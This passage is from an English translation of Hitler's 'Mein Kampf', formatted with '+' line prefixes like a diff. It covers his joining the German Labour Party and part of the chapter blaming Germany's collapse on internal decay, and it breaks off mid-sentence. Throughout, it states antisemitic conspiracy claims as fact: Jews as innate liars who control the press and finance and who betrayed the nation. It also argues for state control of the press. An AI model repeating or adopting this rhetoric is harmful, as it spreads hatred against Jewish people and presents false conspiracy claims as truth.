+learned? 'Educated' people look upon any imbecile who is plastered with +a number of academic certificates as superior to the ablest young fellow +who lacks these precious documents. I could therefore easily imagine how +this 'educated' world would receive me and I was wrong only in so far as +I then believed men to be for the most part better than they proved to +be in the cold light of reality. Because of their being as they are, the +few exceptions stand out all the more conspicuously. I learned more and +more to distinguish between those who will always be at school and those +who will one day come to know something in reality. + +After two days of careful brooding and reflection I became convinced +that I must take the contemplated step. + +It was the most fateful decision of my life. No retreat was possible. + +Thus I declared myself ready to accept the membership tendered me by the +German Labour Party and received a provisional certificate of +membership. I was numbered SEVEN. + + + + +CHAPTER X + + + +WHY THE SECOND REICH COLLAPSED + + +The depth of a fall is always measured by the difference between the +level of the original position from which a body has fallen and that in +which it is now found. The same holds good for Nations and States. The +matter of greatest importance here is the height of the original level, +or rather the greatest height that had been attained before the descent +began. + +For only the profound decline or collapse of that which was capable of +reaching extraordinary heights can make a striking impression on the eye +of the beholder. The collapse of the Second REICH was all the more +bewildering for those who could ponder over it and feel the effect of it +in their hearts, because the REICH had fallen from a height which can +hardly be imagined in these days of misery and humiliation. + +The Second REICH was founded in circumstances of such dazzling splendour +that the whole nation had become entranced and exalted by it. Following +an unparalleled series of victories, that Empire was handed over as the +guerdon of immortal heroism to the children and grandchildren of the +heroes. Whether they were fully conscious of it or not does not matter; +anyhow, the Germans felt that this Empire had not been brought into +existence by a series of able political negotiations through +parliamentary channels, but that it was different from political +institutions founded elsewhere by reason of the nobler circumstances +that had accompanied its establishment. When its foundations were laid +the accompanying music was not the chatter of parliamentary debates but +the thunder and boom of war along the battle front that encircled Paris. +It was thus that an act of statesmanship was accomplished whereby the +Germans, princes as well as people, established the future REICH and +restored the symbol of the Imperial Crown. Bismarck's State was not +founded on treason and assassination by deserters and shirkers but by +the regiments that had fought at the front. This unique birth and +baptism of fire sufficed of themselves to surround the Second Empire +with an aureole of historical splendour such as few of the older States +could lay claim to. + +And what an ascension then began! A position of independence in regard +to the outside world guaranteed the means of livelihood at home. The +nation increased in numbers and in worldly wealth. The honour of the +State and therewith the honour of the people as a whole were secured and +protected by an army which was the most striking witness of the +difference between this new REICH and the old German Confederation. + +But the downfall of the Second Empire and the German people has been so +profound that they all seem to have been struck dumbfounded and rendered +incapable of feeling the significance of this downfall or reflecting on +it. It seems as if people were utterly unable to picture in their minds +the heights to which the Empire formerly attained, so visionary and +unreal appears the greatness and splendour of those days in contrast to +the misery of the present. Bearing this in mind we can understand why +and how people become so dazed when they try to look back to the sublime +past that they forget to look for the symptoms of the great collapse +which must certainly have been present in some form or other. Naturally +this applies only to those for whom Germany was more than merely a place +of abode and a source of livelihood. These are the only people who have +been able to feel the present conditions as really catastrophic, whereas +others have considered these conditions as the fulfilment of what they +had looked forward to and hitherto silently wished. + +The symptoms of future collapse were definitely to be perceived in those +earlier days, although very few made any attempt to draw a practical +lesson from their significance. But this is now a greater necessity than +it ever was before. For just as bodily ailments can be cured only when +their origin has been diagnosed, so also political disease can be +treated only when it has been diagnosed. It is obvious of course that +the external symptoms of any disease can be more readily detected than +its internal causes, for these symptoms strike the eye more easily. This +is also the reason why so many people recognize only external effects +and mistake them for causes. Indeed they will sometimes try to deny the +existence of such causes. And that is why the majority of people among +us recognize the German collapse only in the prevailing economic +distress and the results that have followed therefrom. Almost everyone +has to carry his share of this burden, and that is why each one looks on +the economic catastrophe as the cause of the present deplorable state of +affairs. The broad masses of the people see little of the cultural, +political, and moral background of this collapse. Many of them +completely lack both the necessary feeling and powers of understanding +for it. + +That the masses of the people should thus estimate the causes of +Germany's downfall is quite understandable. But the fact that +intelligent sections of the community regard the German collapse +primarily as an economic catastrophe, and consequently think that a cure +for it may be found in an economic solution, seems to me to be the +reason why hitherto no improvement has been brought about. No +improvement can be brought about until it be understood that economics +play only a second or third role, while the main part is played by +political, moral and racial factors. Only when this is understood will +it be possible to understand the causes of the present evil and +consequently to find the ways and means of remedying them. + +Therefore the question of why Germany really collapsed is one of the +most urgent significance, especially for a political movement which aims +at overcoming this disaster. + +In scrutinizing the past with a view to discovering the causes of the +German break-up, it is necessary to be careful lest we may be unduly +impressed by external results that readily strike the eye and thus +ignore the less manifest causes of these results. + +The most facile, and therefore the most generally accepted, way of +accounting for the present misfortune is to say that it is the result of +a lost war, and that this is the real cause of the present misfortune. +Probably there are many who honestly believe in this absurd explanation +but there are many more in whose mouths it is a deliberate and conscious +falsehood. This applies to all those who are now feeding at the +Government troughs. For the prophets of the Revolution again and again +declared to the people that it would be immaterial to the great masses +what the result of the War might be. On the contrary, they solemnly +assured the public that it was High Finance which was principally +interested in a victorious outcome of this gigantic struggle among the +nations but that the German people and the German workers had no +interest whatsoever in such an outcome. Indeed the apostles of world +conciliation habitually asserted that, far from any German downfall, the +opposite was bound to take place--namely, the resurgence of the German +people--once 'militarism' had been crushed. Did not these self-same +circles sing the praises of the Entente and did they not also lay the +whole blame for the sanguinary struggle on the shoulders of Germany? +Without this explanation, would they have been able to put forward the +theory that a military defeat would have no political consequences for +the German people? Was not the whole Revolution dressed up in gala +colours as blocking the victorious advance of the German banners and +that thus the German people would be assured its liberty both at home +and abroad? + +Is not that so, you miserable, lying rascals? + +That kind of impudence which is typical of the Jews was necessary in +order to proclaim the defeat of the army as the cause of the German +collapse. Indeed the Berlin VORWÄRTS, that organ and mouthpiece of +sedition then wrote on this occasion that the German nation should not +be permitted to bring home its banners triumphantly. + +And yet they attribute our collapse to the military defeat. + +Of course it would be out of the question to enter into an argument with +these liars who deny at one moment what they said the moment before. I +should waste no further words on them were it not for the fact that +there are many thoughtless people who repeat all this in parrot fashion, +without being necessarily inspired by any evil motives. But the +observations I am making here are also meant for our fighting followers, +seeing that nowadays one's spoken words are often forgotten and twisted +in their meaning. + +The assertion that the loss of the War was the cause of the German +collapse can best be answered as follows: + +It is admittedly a fact that the loss of the War was of tragic +importance for the future of our country. But that loss was not in +itself a cause. It was rather the consequence of other causes. That a +disastrous ending to this life-or-death conflict must have involved +catastrophes in its train was clearly seen by everyone of insight who +could think in a straightforward manner. But unfortunately there were +also people whose powers of understanding seemed to fail them at that +critical moment. And there were other people who had first questioned +that truth and then altogether denied it. And there were people who, +after their secret desire had been fulfilled, were suddenly faced with +the subsequent facts that resulted from their own collaboration. Such +people are responsible for the collapse, and not the lost war, though +they now want to attribute everything to this. As a matter of fact the +loss of the War was a result of their activities and not the result of +bad leadership as they now would like to maintain. Our enemies were not +cowards. They also know how to die. From the very first day of the War +they outnumbered the German Army, and the arsenals and armament +factories of the whole world were at their disposal for the +replenishment of military equipment. Indeed it is universally admitted +that the German victories, which had been steadily won during four years +of warfare against the whole world, were due to superior leadership, +apart of course from the heroism of the troops. And the organization was +solely due to the German military leadership. That organization and +leadership of the German Army was the most mighty thing that the world +has ever seen. Any shortcomings which became evident were humanly +unavoidable. The collapse of that army was not the cause of our present +distress. It was itself the consequence of other faults. But this +consequence in its turn ushered in a further collapse, which was more +visible. That such was actually the case can be shown as follows: + +Must a military defeat necessarily lead to such a complete overthrow of +the State and Nation? Whenever has this been the result of an unlucky +war? As a matter of fact, are nations ever ruined by a lost war and by +that alone? The answer to this question can be briefly stated by +referring to the fact that military defeats are the result of internal +decay, cowardice, want of character, and are a retribution for such +things. If such were not the causes then a military defeat would lead to +a national resurgence and bring the nation to a higher pitch of effort. +A military defeat is not the tombstone of national life. History affords +innumerable examples to confirm the truth of that statement. + +Unfortunately Germany's military overthrow was not an undeserved +catastrophe, but a well-merited punishment which was in the nature of an +eternal retribution. This defeat was more than deserved by us; for it +represented the greatest external phenomenon of decomposition among a +series of internal phenomena, which, although they were visible, were +not recognized by the majority of the people, who follow the tactics of +the ostrich and see only what they want to see. + +Let us examine the symptoms that were evident in Germany at the time +that the German people accepted this defeat. Is it not true that in +several circles the misfortunes of the Fatherland were even joyfully +welcomed in the most shameful manner? Who could act in such a way +without thereby meriting vengeance for his attitude? Were there not +people who even went further and boasted that they had gone to the +extent of weakening the front and causing a collapse? Therefore it was +not the enemy who brought this disgrace upon our shoulders but rather +our own countrymen. If they suffered misfortune for it afterwards, was +that misfortune undeserved? Was there ever a case in history where a +people declared itself guilty of a war, and that even against its better +conscience and its better knowledge? + +No, and again no. In the manner in which the German nation reacted to +its defeat we can see that the real cause of our collapse must be looked +for elsewhere and not in the purely military loss of a few positions or +the failure of an offensive. For if the front as such had given way and +thus brought about a national disaster, then the German nation would +have accepted the defeat in quite another spirit. They would have borne +the subsequent misfortune with clenched teeth, or they would have been +overwhelmed by sorrow. Regret and fury would have filled their hearts +against an enemy into whose hands victory had been given by a chance +event or the decree of Fate; and in that case the nation, following the +example of the Roman Senate (Note 14), would have faced the defeated +legions on their return and expressed their thanks for the sacrifices that +had been made and would have requested them not to lose faith in the +Empire. Even the capitulation would have been signed under the sway of +calm reason, while the heart would have beaten in the hope of the coming +REVANCHE. + +[Note 14. Probably the author has two separate incidents in mind. The +first happened in 390 B.C., when, as the victorious Gauls descended on +Rome, the Senators ordered their ivory chairs to be placed in the Forum +before the Temples ofthe Gods. There, clad in their robes of state, they +awaited the invader, hoping to save the city by sacrificing themselves. +This noble gesture failed for the time being; but it had an inspiring +influence on subsequent generations. The second incident, which has more +historical authenticity, occurred after the Roman defeat at Cannae in 216 +B.C. On that occasion Varro, the Roman commander, who, though in great +part responsible for the disaster, made an effort to carry on the +struggle, was, on his return to Rome, met by the citizens of all ranks +and publicly thanked because he had not despaired of the Republic. The +consequence was that the Republic refused to make peace with the +victorious Carthagenians.] + +That is the reception that would have been given to a military defeat +which had to be attributed only to the adverse decree of Fortune. There +would have been neither joy-making nor dancing. Cowardice would not have +been boasted of, and the defeat would not have been honoured. On +returning from the Front, the troops would not have been mocked at, and +the colours would not have been dragged in the dust. But above all, that +disgraceful state of affairs could never have arisen which induced a +British officer, Colonel Repington, to declare with scorn: Every third +German is a traitor! No, in such a case this plague would never have +assumed the proportions of a veritable flood which, for the past five +years, has smothered every vestige of respect for the German nation in +the outside world. + +This shows only too clearly how false it is to say that the loss of the +War was the cause of the German break-up. No. The military defeat was +itself but the consequence of a whole series of morbid symptoms and +their causes which had become active in the German nation before the War +broke out. The War was the first catastrophal consequence, visible to +all, of how traditions and national morale had been poisoned and how the +instinct of self-preservation had degenerated. These were the +preliminary causes which for many years had been undermining the +foundations of the nation and the Empire. + +But it remained for the Jews, with their unqualified capacity for +falsehood, and their fighting comrades, the Marxists, to impute +responsibility for the downfall precisely to the man who alone had shown +a superhuman will and energy in his effort to prevent the catastrophe +which he had foreseen and to save the nation from that hour of complete +overthrow and shame. By placing responsibility for the loss of the world +war on the shoulders of Ludendorff they took away the weapon of moral +right from the only adversary dangerous enough to be likely to succeed +in bringing the betrayers of the Fatherland to Justice. All this was +inspired by the principle--which is quite true in itself--that in the +big lie there is always a certain force of credibility; because the +broad masses of a nation are always more easily corrupted in the deeper +strata of their emotional nature than consciously or voluntarily; and +thus in the primitive simplicity of their minds they more readily fall +victims to the big lie than the small lie, since they themselves often +tell small lies in little matters but would be ashamed to resort to +large-scale falsehoods. It would never come into their heads to +fabricate colossal untruths, and they would not believe that others +could have the impudence to distort the truth so infamously. Even though +the facts which prove this to be so may be brought clearly to their +minds, they will still doubt and waver and will continue to think that +there may be some other explanation. For the grossly impudent lie always +leaves traces behind it, even after it has been nailed down, a fact +which is known to all expert liars in this world and to all who conspire +together in the art of lying. These people know only too well how to use +falsehood for the basest purposes. + +From time immemorial. however, the Jews have known better than any +others how falsehood and calumny can be exploited. Is not their very +existence founded on one great lie, namely, that they are a religious +community, whereas in reality they are a race? And what a race! One of +the greatest thinkers that mankind has produced has branded the Jews for +all time with a statement which is profoundly and exactly true. He +(Schopenhauer) called the Jew "The Great Master of Lies". Those who do +not realize the truth of that statement, or do not wish to believe it, +will never be able to lend a hand in helping Truth to prevail. + +We may regard it as a great stroke of fortune for the German nation that +its period of lingering suffering was so suddenly curtailed and +transformed into such a terrible catastrophe. For if things had gone on +as they were the nation would have more slowly, but more surely, gone to +ruin. The disease would have become chronic; whereas, in the acute form +of the disaster, it at least showed itself clearly to the eyes of a +considerable number of observers. It was not by accident that man +conquered the black plague more easily than he conquered tuberculosis. +The first appeared in terrifying waves of death that shook the whole of +mankind, the other advances insidiously; the first induces terror, the +other gradual indifference. The result is, however, that men opposed the +first with all the energy they were capable of, whilst they try to +arrest tuberculosis by feeble means. Thus man has mastered the black +plague, while tuberculosis still gets the better of him. + +The same applies to diseases in nations. So long as these diseases are +not of a catastrophic character, the population will slowly accustom +itself to them and later succumb. It is then a stroke of luck--although +a bitter one--when Fate decides to interfere in this slow process of +decay and suddenly brings the victim face to face with the final stage +of the disease. More often than not the result of a catastrophe is that +a cure is at once undertaken and carried through with rigid +determination. + +But even in such a case the essential preliminary condition is always +the recognition of the internal causes which have given rise to the +disease in question. + +The important question here is the differentiation of the root causes +from the circumstances developing out of them. This becomes all the more +difficult the longer the germs of disease remain in the national body +and the longer they are allowed to become an integral part of that body. +It may easily happen that, as time goes on, it will become so difficult +to recognize certain definite virulent poisons as such that they are +accepted as belonging to the national being; or they are merely +tolerated as a necessary evil, so that drastic attempts to locate those +alien germs are not held to be necessary. + +During the long period of peace prior to the last war certain evils were +apparent here and there although, with one or two exceptions, very +little effort was made to discover their origin. Here again these +exceptions were first and foremost those phenomena in the economic life +of the nation which were more apparent to the individual than the evil +conditions existing in a good many other spheres. + +There were many signs of decay which ought to have been given serious +thought. As far as economics were concerned, the following may be +said:-- + +The amazing increase of population in Germany before the war brought the +question of providing daily bread into a more and more prominent +position in all spheres of political and economic thought and action. +But unfortunately those responsible could not make up their minds to +arrive at the only correct solution and preferred to reach their +objective by cheaper methods. Repudiation of the idea of acquiring fresh +territory and the substitution for it of the mad desire for the +commercial conquest of the world was bound to lead eventually to +unlimited and injurious industrialization. + +The first and most fatal result brought about in this way was the +weakening of the agricultural classes, whose decline was proportionate +to the increase in the proletariat of the urban areas, until finally the +equilibrium was completely upset. + +The big barrier dividing rich and poor now became apparent. Luxury and +poverty lived so close to each other that the consequences were bound to +be deplorable. Want and frequent unemployment began to play havoc with +the people and left discontent and embitterment behind them. The result +of this was to divide the population into political classes. Discontent +increased in spite of commercial prosperity. Matters finally reached +that stage which brought about the general conviction that 'things +cannot go on as they are', although no one seemed able to visualize what +was really going to happen. + +These were typical and visible signs of the depths which the prevailing +discontent had reached. Far worse than these, however, were other +consequences which became apparent as a result of the industrialization +of the nation. + +In proportion to the extent that commerce assumed definite control of +the State, money became more and more of a God whom all had to serve and +bow down to. Heavenly Gods became more and more old-fashioned and were +laid away in the corners to make room for the worship of mammon. And +thus began a period of utter degeneration which became specially +pernicious because it set in at a time when the nation was more than +ever in need of an exalted idea, for a critical hour was threatening. +Germany should have been prepared to protect with the sword her efforts +to win her own daily bread in a peaceful way. + +Unfortunately, the predominance of money received support and sanction +in the very quarter which ought to have been opposed to it. His Majesty, +the Kaiser, made a mistake when he raised representatives of the new +finance capital to the ranks of the nobility. Admittedly, it may be +offered as an excuse that even Bismarck failed to realize the +threatening danger in this respect. In practice, however, all ideal +virtues became secondary considerations to those of money, for it was +clear that having once taken this road, the nobility of the sword would +very soon rank second to that of finance. + +Financial operations succeed easier than war operations. Hence it was no +longer any great attraction for a true hero or even a statesman to be +brought into touch with the nearest Jew banker. Real merit was not +interested in receiving cheap decorations and therefore declined them +with thanks. But from the standpoint of good breeding such a development +was deeply regrettable. The nobility began to lose more and more of the +racial qualities that were a condition of its very existence, with the +result that in many cases the term 'plebeian' would have been more +appropriate. + +A serious state of economic disruption was being brought about by the +slow elimination of the personal control of vested interests and the +gradual transference of the whole economic structure into the hands of +joint stock companies. + +In this way labour became degraded into an object of speculation in the +hands of unscrupulous exploiters. + +The de-personalization of property ownership increased on a vast scale. +Financial exchange circles began to triumph and made slow but sure +progress in assuming control of the whole of national life. + +Before the War the internationalization of the German economic structure +had already begun by the roundabout way of share issues. It is true that +a section of the German industrialists made a determined attempt to +avert the danger, but in the end they gave way before the united attacks +of money-grabbing capitalism, which was assisted in this fight by its +faithful henchmen in the Marxist movement. + +The persistent war against German 'heavy industries' was the visible +start of the internationalization of German economic life as envisaged +by the Marxists. This, however, could only be brought to a successful +conclusion by the victory which Marxism was able to gain in the +Revolution. As I write these words, success is attending the general +attack on the German State Railways which are now to be turned over to +international capitalists. Thus 'International Social-Democracy' has +once again attained one of its main objectives. + +The best evidence of how far this 'commercialization' of the German +nation was able to go can be plainly seen in the fact that when the War +was over one of the leading captains of German industry and commerce +gave it as his opinion that commerce as such was the only force which +could put Germany on its feet again. + +This sort of nonsense was uttered just at the time when France was +restoring public education on a humanitarian basis, thus doing away with +the idea that national life is dependent on commerce rather than ideal +values. The statement which Stinnes broadcasted to the world at that +time caused incredible confusion. It was immediately taken up and has +become the leading motto of all those humbugs and babblers--the +'statesmen' whom Fate let loose on Germany after the Revolution. + +One of the worst evidences of decadence in Germany before the War was +the ever increasing habit of doing things by halves. This was one of the +consequences of the insecurity that was felt all round. And it is to be +attributed also to a certain timidity which resulted from one cause or +another. And the latter malady was aggravated by the educational system. + +German education in pre-War times had an extraordinary number of weak +features. It was simply and exclusively limited to the production of +pure knowledge and paid little attention to the development of practical +ability. Still less attention was given to the development of individual +character, in so far as this is ever possible. And hardly any attention +at all was paid to the development of a sense of responsibility, to +strengthening the will and the powers of decision. The result of this +method was to produce erudite people who had a passion for knowing +everything. Before the War we Germans were accepted and estimated +accordingly. The German was liked because good use could be made of him; +but there was little esteem for him personally, on account of this +weakness of character. For those who can read its significance aright, +there is much instruction in the fact that among all nationalities +Germans were the first to part with their national citizenship when they +found themselves in a foreign country. And there is a world of meaning +in the saying that was then prevalent: 'With the hat in the hand one can +go through the whole country'. + +This kind of social etiquette turned out disastrous when it prescribed +the exclusive forms that had to be observed in the presence of His +Majesty. These forms insisted that there should be no contradiction +whatsoever, but that everything should be praised which His Majesty +condescended to like. + +It was just here that the frank expression of manly dignity, and not +subservience, was most needed. Servility in the presence of monarchs may +be good enough for the professional lackey and place-hunter, in fact for +all those decadent beings who are more pleased to be found moving in the +high circles of royalty than among honest citizens. These exceedingly +'humble' creatures however, though they grovel before their lord and +bread-giver, invariably put on airs of boundless superciliousness +towards other mortals, which was particularly impudent when they posed +as the only people who had the right to be called 'monarchists'. This +was a gross piece of impertinence such as only despicable specimens +among the newly-ennobled or yet-to-be-ennobled could be capable of. + +And these have always been just the people who have prepared the way for +the downfall of monarchy and the monarchical principle. It could not be +otherwise. For when a man is prepared to stand up for a cause, come what +may, he never grovels before its representative. A man who is serious +about the maintenance and welfare of an institution will not allow +himself to be discouraged when the representatives of that institution +show certain faults and failings. And he certainly will not run around +to tell the world about it, as certain false democratic 'friends' of the +monarchy have done; but he will approach His Majesty, the bearer of the +Crown himself, to warn him of the seriousness of a situation and +persuade the monarch to act. Furthermore, he will not take up the +standpoint that it must be left to His Majesty to act as the latter +thinks fit, even though the course which he would take must plainly lead +to disaster. But the man I am thinking of will deem it his duty to +protect the monarchy against the monarch himself, no matter what +personal risk he may run in doing so. If the worth of the monarchical +institution be dependent on the person of the monarch himself, then it +would be the worst institution imaginable; for only in rare cases are +kings found to be models of wisdom and understanding, and integrity of +character, though we might like to think otherwise. But this fact is +unpalatable to the professional knaves and lackeys. Yet all upright men, +and they are the backbone of the nation, repudiate the nonsensical +fiction that all monarchs are wise, etc. For such men history is history +and truth is truth, even where monarchs are concerned. But if a nation +should have the good luck to possess a great king or a great man it +ought to consider itself as specially favoured above all the other +nations, and these may be thankful if an adverse fortune has not +allotted the worst to them. + +It is clear that the worth and significance of the monarchical principle +cannot rest in the person of the monarch alone, unless Heaven decrees +that the crown should be set on the head of a brilliant hero like +Frederick the Great, or a sagacious person like William I. This may +happen once in several centuries, but hardly oftener than that. The +ideal of the monarchy takes precedence of the person of the monarch, +inasmuch as the meaning of the institution must lie in the institution +it self. Thus the monarchy may be reckoned in the category of those +whose duty it is to serve. He, too, is but a wheel in this machine and +as such he is obliged to do his duty towards it. He has to adapt himself +for the fulfilment of high aims. If, therefore, there were no +significance attached to the idea itself and everything merely centred +around the 'sacred' person, then it would never be possible to depose a +ruler who has shown himself to be an imbecile. + +It is essential to insist upon this truth at the present time, because +recently those phenomena have appeared again and were in no small +measure responsible for the collapse of the monarchy. With a certain +amount of native impudence these persons once again talk about 'their +King'--that is to say, the man whom they shamefully deserted a few years +ago at a most critical hour. Those who refrain from participating in +this chorus of lies are summarily classified as 'bad Germans'. They who +make the charge are the same class of quitters who ran away in 1918 and +took to wearing red badges. They thought that discretion was the better +part of valour. They were indifferent about what happened to the Kaiser. +They camouflaged themselves as 'peaceful citizens' but more often than +not they vanished altogether. All of a sudden these champions of royalty +were nowhere to be found at that time. Circumspectly, one by one, these +'servants and counsellors' of the Crown reappeared, to resume their +lip-service to royalty but only after others had borne the brunt of the +anti-royalist attack and suppressed the Revolution for them. Once again +they were all there. remembering wistfully the flesh-pots of Egypt and +almost bursting with devotion for the royal cause. This went on until +the day came when red badges were again in the ascendant. Then this +whole ramshackle assembly of royal worshippers scuttled anew like mice +from the cats. + +If monarchs were not themselves responsible for such things one could +not help sympathizing with them. But they must realize that with such +champions thrones can be lost but certainly never gained. + +All this devotion was a mistake and was the result of our whole system +of education, which in this case brought about a particularly severe +retribution. Such lamentable trumpery was kept up at the various courts +that the monarchy was slowly becoming under mined. When finally it did +begin to totter, everything was swept away. Naturally, grovellers and +lick-spittles are never willing to die for their masters. That monarchs +never realize this, and almost on principle never really take the +trouble to learn it, has always been their undoing. + +One visible result of wrong educational system was the fear of +shouldering responsibility and the resultant weakness in dealing with +obvious vital problems of existence. + +The starting point of this epidemic, however, was in our parliamentary +institution where the shirking of responsibility is particularly +fostered. Unfortunately the disease slowly spread to all branches of +everyday life but particularly affected the sphere of public affairs. +Responsibility was being shirked everywhere and this led to insufficient +or half-hearted measures being taken, personal responsibility for each +act being reduced to a minimum. + +If we consider the attitude of various Governments towards a whole +series of really pernicious phenomena in public life, we shall at once +recognize the fearful significance of this policy of half-measures and +the lack of courage to undertake responsibilities. I shall single out +only a few from the large numbers of instances known to me. + +In journalistic circles it is a pleasing custom to speak of the Press as +a 'Great Power' within the State. As a matter of fact its importance is +immense. One cannot easily overestimate it, for the Press continues the +work of education even in adult life. Generally, readers of the Press +can be classified into three groups: + +First, those who believe everything they read; + +Second, those who no longer believe anything; + +Third, those who critically examine what they read and form their +judgments accordingly. + +Numerically, the first group is by far the strongest, being composed of +the broad masses of the people. Intellectually, it forms the simplest +portion of the nation. It cannot be classified according to occupation +but only into grades of intelligence. Under this category come all those +who have not been born to think for themselves or who have not learnt to +do so and who, partly through incompetence and partly through ignorance, +believe everything that is set before them in print. To these we must +add that type of lazy individual who, although capable of thinking for +himself out of sheer laziness gratefully absorbs everything that others +had thought over, modestly believing this to have been thoroughly done. +The influence which the Press has on all these people is therefore +enormous; for after all they constitute the broad masses of a nation. +But, somehow they are not in a position or are not willing personally to +sift what is being served up to them; so that their whole attitude +towards daily problems is almost solely the result of extraneous +influence. All this can be advantageous where public enlightenment is of +a serious and truthful character, but great harm is done when scoundrels +and liars take a hand at this work. + +The second group is numerically smaller, being partly composed of those +who were formerly in the first group and after a series of bitter +disappointments are now prepared to believe nothing of what they see in +print. They hate all newspapers. Either they do not read them at all or +they become exceptionally annoyed at their contents, which they hold to +be nothing but a congeries of lies and misstatements. These people are +difficult to handle; for they will always be sceptical of the truth. +Consequently, they are useless for any form of positive work. + +The third group is easily the smallest, being composed of real +intellectuals whom natural aptitude and education have taught to think +for themselves and who in all things try to form their own judgments, +while at the same time carefully sifting what they read. They will not +read any newspaper without using their own intelligence to collaborate +with that of the writer and naturally this does not set writers an easy +task. Journalists appreciate this type of reader only with a certain +amount of reservation. + +Hence the trash that newspapers are capable of serving up is of little +danger--much less of importance--to the members of the third group of +readers. In the majority of cases these readers have learnt to regard +every journalist as fundamentally a rogue who sometimes speaks the +truth. Most unfortunately, the value of these readers lies in their +intelligence and not in their numerical strength, an unhappy state of +affairs in a period where wisdom counts for nothing and majorities for +everything. Nowadays when the voting papers of the masses are the +deciding factor; the decision lies in the hands of the numerically +strongest group; that is to say the first group, the crowd of simpletons +and the credulous. + +It is an all-important interest of the State and a national duty to +prevent these people from falling into the hands of false, ignorant or +even evil-minded teachers. Therefore it is the duty of the State to +supervise their education and prevent every form of offence in this +respect. Particular attention should be paid to the Press; for its +influence on these people is by far the strongest and most penetrating +of all; since its effect is not transitory but continual. Its immense +significance lies in the uniform and persistent repetition of its +teaching. Here, if anywhere, the State should never forget that all +means should converge towards the same end. It must not be led astray by +the will-o'-the-wisp of so-called 'freedom of the Press', or be talked +into neglecting its duty, and withholding from the nation that which is +good and which does good. With ruthless determination the State must +keep control of this instrument of popular education and place it at the +service of the State and the Nation. + +But what sort of pabulum was it that the German Press served up for the +consumption of its readers in pre-War days? Was it not the worst +virulent poison imaginable? Was not pacifism in its worst form +inoculated into our people at a time when others were preparing slowly +but surely to pounce upon Germany? Did not this self-same Press of ours +in peace time already instil into the public mind a doubt as to the +sovereign rights of the State itself, thereby already handicapping the +State in choosing its means of defence? Was it not the German Press that +under stood how to make all the nonsensical talk about 'Western +democracy' palatable to our people, until an exuberant public was +eventually prepared to entrust its future to the League of Nations? Was +not this Press instrumental in bringing in a state of moral degradation +among our people? Were not morals and public decency made to look +ridiculous and classed as out-of-date and banal, until finally our +people also became modernized? By means of persistent attacks, did not +the Press keep on undermining the authority of the State, until one blow +sufficed to bring this institution tottering to the ground? Did not the +Press oppose with all its might every movement to give the State that +which belongs to the State, and by means of constant criticism, injure +the reputation of the army, sabotage general conscription and demand +refusal of military credits, etc.--until the success of this campaign +was assured? + +The function of the so-called liberal Press was to dig the grave for the +German people and REICH. No mention need be made of the lying Marxist +Press. To them the spreading of falsehood is as much a vital necessity +as the mouse is to a cat. Their sole task is to break the national +backbone of the people, thus preparing the nation to become the slaves +of international finance and its masters, the Jews. + +And what measures did the State take to counteract this wholesale +poisoning of the public mind? None, absolutely nothing at all. By this +policy it was hoped to win the favour of this pest--by means of +flattery, by a recognition of the 'value' of the Press, its +'importance', its 'educative mission' and similar nonsense. The Jews +acknowledged all this with a knowing smile and returned thanks. + +The reason for this ignominious failure on the part of the State lay not +so much in its refusal to realize the danger as in the out-and-out +cowardly way of meeting the situation by the adoption of faulty and +ineffective measures. No one had the courage to employ any energetic and +radical methods. Everyone temporised in some way or other; and instead +of striking at its heart, the viper was only further irritated. The +result was that not only did everything remain as it was, but the power +of this institution which should have been combated grew greater from +year to year. + +The defence put up by the Government in those days against a mainly +Jew-controlled Press that was slowly corrupting the nation, followed no +definite line of action, it had no determination behind it and above +all, no fixed objective whatsoever in view. This is where official +understanding of the situation completely failed both in estimating the +importance of the struggle, choosing the means and deciding on a +definite plan. They merely tinkered with the problem. Occasionally, when +bitten, they imprisoned one or another journalistic viper for a few +weeks or months, but the whole poisonous brood was allowed to carry on +in peace. + +It must be admitted that all this was partly the result of extraordinary +crafty tactics on the part of Jewry on the one hand, and obvious +official stupidity or naïveté on the other hand. The Jews were too +clever to allow a simultaneous attack to be made on the whole of their +Press. No one section functioned as cover for the other. While the +Marxist newspaper, in the most despicable manner possible, reviled +everything that was sacred, furiously attacked the State and Government +and incited certain classes of the community against each other, the +bourgeois-democratic papers, also in Jewish hands, knew how to +camouflage themselves as model examples of objectivity. They studiously +avoided harsh language, knowing well that block-heads are capable of +judging only by external appearances and never able to penetrate to the +real depth and meaning of anything. They measure the worth of an object +by its exterior and not by its content. This form of human frailty was +carefully studied and understood by the Press. + +For this class of blockheads the FRANKFURTER ZEITUNG would be +acknowledged as the essence of respectability. It always carefully +avoided calling a spade a spade. It deprecated the use of every form of +physical force and persistently appealed to the nobility of fighting +with 'intellectual' weapons. But this fight, curiously enough, was most +popular with the least intellectual classes. That is one of the results +of our defective education, which turns the youth away from the +instinctive dictates of Nature, pumps into them a certain amount of +knowledge without however being able to bring them to what is the +supreme act of knowing. To this end diligence and goodwill are of no +avail, if innate understanding fail. This final knowledge at which man +must aim is the understanding of causes which are instinctively +perceived. + +Let me explain: Man must not fall into the error of thinking that he was +ever meant to become lord and master of Nature. A lopsided education has +helped to encourage that illusion. Man must realize that a fundamental +law of necessity reigns throughout the whole realm of Nature and that +his existence is subject to the law of eternal struggle and strife. He +will then feel that there cannot be a separate law for mankind in a +world in which planets and suns follow their orbits, where moons and +planets trace their destined paths, where the strong are always the +masters of the weak and where those subject to such laws must obey them +or be destroyed. Man must also submit to the eternal principles of this +supreme wisdom. He may try to understand them but he can never free +himself from their sway. + +It is just for intellectual DEMI-MONDE that the Jew writes those papers +which he calls his 'intellectual' Press. For them the FRANKFURTER +ZEITUNG and BERLINER TAGEBLATT are written, the tone being adapted to +them, and it is over these people that such papers have an influence. +While studiously avoiding all forms of expression that might strike the +reader as crude, the poison is injected from other vials into the hearts +of the clientele. The effervescent tone and the fine phraseology lug the +readers into believing that a love for knowledge and moral principle is +the sole driving force that determines the policy of such papers, +whereas in reality these features represent a cunning way of disarming +any opposition that might be directed against the Jews and their Press. + +They make such a parade of respectability that the imbecile readers are +all the more ready to believe that the excesses which other papers +indulge in are only of a mild nature and not such as to warrant legal +action being taken against them. Indeed such action might trespass on +the freedom of the Press, that expression being a euphemism under which +such papers escape legal punishment for deceiving the public and +poisoning the public mind. Hence the authorities are very slow indeed to +take any steps against these journalistic bandits for fear of +immediately alienating the sympathy of the so-called respectable Press. +A fear that is only too well founded, for the moment any attempt is made +to proceed against any member of the gutter press all the others rush to +its assistance at once, not indeed to support its policy but simply and +solely to defend the principle of freedom of the Press and liberty of +public opinion. This outcry will succeed in cowering the most stalwart; +for it comes from the mouth of what is called decent journalism. + +And so this poison was allowed to enter the national bloodstream and +infect public life without the Government taking any effectual measures +to master the course of the disease. The 